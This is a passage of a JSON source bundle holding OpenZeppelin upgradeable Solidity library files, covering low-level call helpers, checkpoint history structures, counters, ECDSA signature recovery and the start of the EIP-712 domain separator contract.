/**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/CheckpointsUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Checkpoints.sol)\n// This file was procedurally generated from scripts/generate/templates/Checkpoints.js.\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\nimport \"./math/SafeCastUpgradeable.sol\";\n\n/**\n * @dev This library defines the `History` struct, for checkpointing values as they change at different points in\n * time, and later looking up past values by block number. See {Votes} as an example.\n *\n * To create a history of checkpoints define a variable type `Checkpoints.History` in your contract, and store a new\n * checkpoint for the current transaction block using the {push} function.\n *\n * _Available since v4.5._\n */\nlibrary CheckpointsUpgradeable {\n struct History {\n Checkpoint[] _checkpoints;\n }\n\n struct Checkpoint {\n uint32 _blockNumber;\n uint224 _value;\n }\n\n /**\n * @dev Returns the value at a given block number. If a checkpoint is not available at that block, the closest one\n * before it is returned, or zero otherwise.\n */\n function getAtBlock(History storage self, uint256 blockNumber) internal view returns (uint256) {\n require(blockNumber < block.number, \"Checkpoints: block not yet mined\");\n uint32 key = SafeCastUpgradeable.toUint32(blockNumber);\n\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value at a given block number. If a checkpoint is not available at that block, the closest one\n * before it is returned, or zero otherwise. Similar to {upperLookup} but optimized for the case when the searched\n * checkpoint is probably \"recent\", defined as being among the last sqrt(N) checkpoints where N is the number of\n * checkpoints.\n */\n function getAtProbablyRecentBlock(History storage self, uint256 blockNumber) internal view returns (uint256) {\n require(blockNumber < block.number, \"Checkpoints: block not yet mined\");\n uint32 key = SafeCastUpgradeable.toUint32(blockNumber);\n\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - MathUpgradeable.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._blockNumber) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Pushes a value onto a History so that it is stored as the checkpoint for the current block.\n *\n * Returns previous value and new value.\n */\n function push(History storage self, uint256 value) internal returns (uint256, uint256) {\n return _insert(self._checkpoints, SafeCastUpgradeable.toUint32(block.number), SafeCastUpgradeable.toUint224(value));\n }\n\n /**\n * @dev Pushes a value onto a History, by updating the latest value using binary operation `op`. The new value will\n * be set to `op(latest, delta)`.\n *\n * Returns previous value and new value.\n */\n function push(\n History storage self,\n function(uint256, uint256) view returns (uint256) op,\n uint256 delta\n ) internal returns (uint256, uint256) {\n return push(self, op(latest(self), delta));\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(History storage self) internal view returns (uint224) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(History storage self)\n internal\n view\n returns (\n bool exists,\n uint32 _blockNumber,\n uint224 _value\n )\n {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._blockNumber, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(History storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(\n Checkpoint[] storage self,\n uint32 key,\n uint224 value\n ) private returns (uint224, uint224) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoints keys must be increasing.\n require(last._blockNumber <= key, \"Checkpoint: invalid key\");\n\n // Update or push new checkpoint\n if (last._blockNumber == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint({_blockNumber: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint({_blockNumber: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the oldest checkpoint whose key is greater than the search key, or `high` if there is none.\n * `low` and `high` define a section where to do the search, with inclusive `low` and exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = MathUpgradeable.average(low, high);\n if (_unsafeAccess(self, mid)._blockNumber > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the oldest checkpoint whose key is greater or equal than the search key, or `high` if there is none.\n * `low` and `high` define a section where to do the search, with inclusive `low` and exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = MathUpgradeable.average(low, high);\n if (_unsafeAccess(self, mid)._blockNumber < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n function _unsafeAccess(Checkpoint[] storage self, uint256 pos) private pure returns (Checkpoint storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace224 {\n Checkpoint224[] _checkpoints;\n }\n\n struct Checkpoint224 {\n uint32 _key;\n uint224 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace224 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n */\n function push(\n Trace224 storage self,\n uint32 key,\n uint224 value\n ) internal returns (uint224, uint224) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the oldest checkpoint with key greater or equal than the search key, or zero if there is none.\n */\n function lowerLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint with key lower or equal than the search key.\n */\n function upperLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace224 storage self) internal view returns (uint224) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace224 storage self)\n internal\n view\n returns (\n bool exists,\n uint32 _key,\n uint224 _value\n )\n {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint224 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace224 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(\n Checkpoint224[] storage self,\n uint32 key,\n uint224 value\n ) private returns (uint224, uint224) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint224 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoints keys must be increasing.\n require(last._key <= key, \"Checkpoint: invalid key\");\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the oldest checkpoint whose key is greater than the search key, or `high` if there is none.\n * `low` and `high` define a section where to do the search, with inclusive `low` and exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = MathUpgradeable.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the oldest checkpoint whose key is greater or equal than the search key, or `high` if there is none.\n * `low` and `high` define a section where to do the search, with inclusive `low` and exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = MathUpgradeable.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n function _unsafeAccess(Checkpoint224[] storage self, uint256 pos)\n private\n pure\n returns (Checkpoint224 storage result)\n {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace160 {\n Checkpoint160[] _checkpoints;\n }\n\n struct Checkpoint160 {\n uint96 _key;\n uint160 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace160 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n */\n function push(\n Trace160 storage self,\n uint96 key,\n uint160 value\n ) internal returns (uint160, uint160) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the oldest checkpoint with key greater or equal than the search key, or zero if there is none.\n */\n function lowerLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint with key lower or equal than the search key.\n */\n function upperLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace160 storage self) internal view returns (uint160) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace160 storage self)\n internal\n view\n returns (\n bool exists,\n uint96 _key,\n uint160 _value\n )\n {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint160 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace160 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(\n Checkpoint160[] storage self,\n uint96 key,\n uint160 value\n ) private returns (uint160, uint160) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint160 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoints keys must be increasing.\n require(last._key <= key, \"Checkpoint: invalid key\");\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the oldest checkpoint whose key is greater than the search key, or `high` if there is none.\n * `low` and `high` define a section where to do the search, with inclusive `low` and exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = MathUpgradeable.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the oldest checkpoint whose key is greater or equal than the search key, or `high` if there is none.\n * `low` and `high` define a section where to do the search, with inclusive `low` and exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = MathUpgradeable.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n function _unsafeAccess(Checkpoint160[] storage self, uint256 pos)\n private\n pure\n returns (Checkpoint160 storage result)\n {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title Counters\n * @author Matt Condon (@shrugs)\n * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number\n * of elements in a mapping, issuing ERC721 ids, or counting request ids.\n *\n * Include with `using Counters for Counters.Counter;`\n */\nlibrary CountersUpgradeable {\n struct Counter {\n // This variable should never be directly accessed by users of the library: interactions must be restricted to\n // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add\n // this feature: see https://github.com/ethereum/solidity/issues/4637\n uint256 _value; // default: 0\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n require(value > 0, \"Counter: decrement overflow\");\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../StringsUpgradeable.sol\";\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSAUpgradeable {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV // Deprecated in v4.8\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature` or error string. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n *\n * _Available since v4.3._\n */\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n *\n * _Available since v4.2._\n */\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n *\n * _Available since v4.3._\n */\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {\n // 32 is the length in bytes of hash,\n // enforced by the type signature above\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash));\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from `s`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n\", StringsUpgradeable.toString(s.length), s));\n }\n\n /**\n * @dev Returns an Ethereum Signed Typed Data, created from a\n * `domainSeparator` and a `structHash`. This produces hash corresponding\n * to the one signed with the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]\n * JSON-RPC method as part of EIP-712.\n *\n * See {recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/cryptography/EIP712.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ECDSAUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.\n *\n * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,\n * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding\n * they need in their contracts using a combination of `abi.encode` and `keccak256`.\n *\n * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding\n * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA\n * ({_hashTypedDataV4}).\n *\n * The implementation of the domain separator was designed to be as efficient as possible while still properly updating\n * the chain id to protect against replay attacks on an eventual fork of the chain.\n *\n * NOTE: This contract implements the version of the encoding known as \"v4\", as implemented by the JSON RPC method\n * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].\n *\n * _Available since v3.4._\n *\n * @custom:storage-size 52\n */\nabstract contract EIP712Upgradeable is Initializable {\n /* solhint-disable var-name-mixedcase */\n bytes32 private _HASHED_NAME;\n bytes32 private _HASHED_VERSION;\n bytes32 private constant _TYPE_HASH = keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n\n /* solhint-enable var-name-mixedcase */\n\n /**\n * @dev Initializes the domain separator and parameter caches.\n *\n * The meaning of `name` and `version` is specified in\n * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:\n *\n * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.\n * - `version`: the current major version of the signing domain.\n *\n * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart\n * contract upgrade].\n */\n function __EIP712_init(string memory name, string memory version) internal onlyInitializing {\n __EIP712_init_unchained(name, version);\n }\n\n function __EIP712_init_unchained(string memory name, string memory version) internal onlyInitializing {\n bytes32 hashedName = keccak256(bytes(name));\n bytes32 hashedVersion = keccak256(bytes(version));\n _HASHED_NAME = hashedName;\n _HASHED_VERSION = hashedVersion;\n }\n\n /**\n * @dev Returns the domain separator for the current chain.\n */\n function _domainSeparatorV4() internal view returns (bytes32) {\n return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());\n }\n\n function _buildDomainSeparator(\n bytes32 typeHash,\n bytes32 nameHash,\n bytes32 versionHash\n ) private view returns (bytes32) {\n return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));\n }\n\n /**\n * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this\n * function returns the hash of the fully encoded EIP712 message for this domain.\n *\n * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:\n *\n * ```solidity\n * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(\n * keccak256(\"Mail(address to,string contents)\"),\n * mailTo,\n * keccak256(bytes(mailContents))\n * )));\n * address signer = ECDSA.recover(digest, signature);\n * ```\n */\n function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {\n return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n /**\n * @dev The hash of the name parameter for the EIP712 domain.\n *\n * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs\n * are a concern.\n */\n function _EIP712NameHash() internal virtual view returns (bytes32) {\n return _HASHED_NAME;\n }\n\n /**\n * @dev 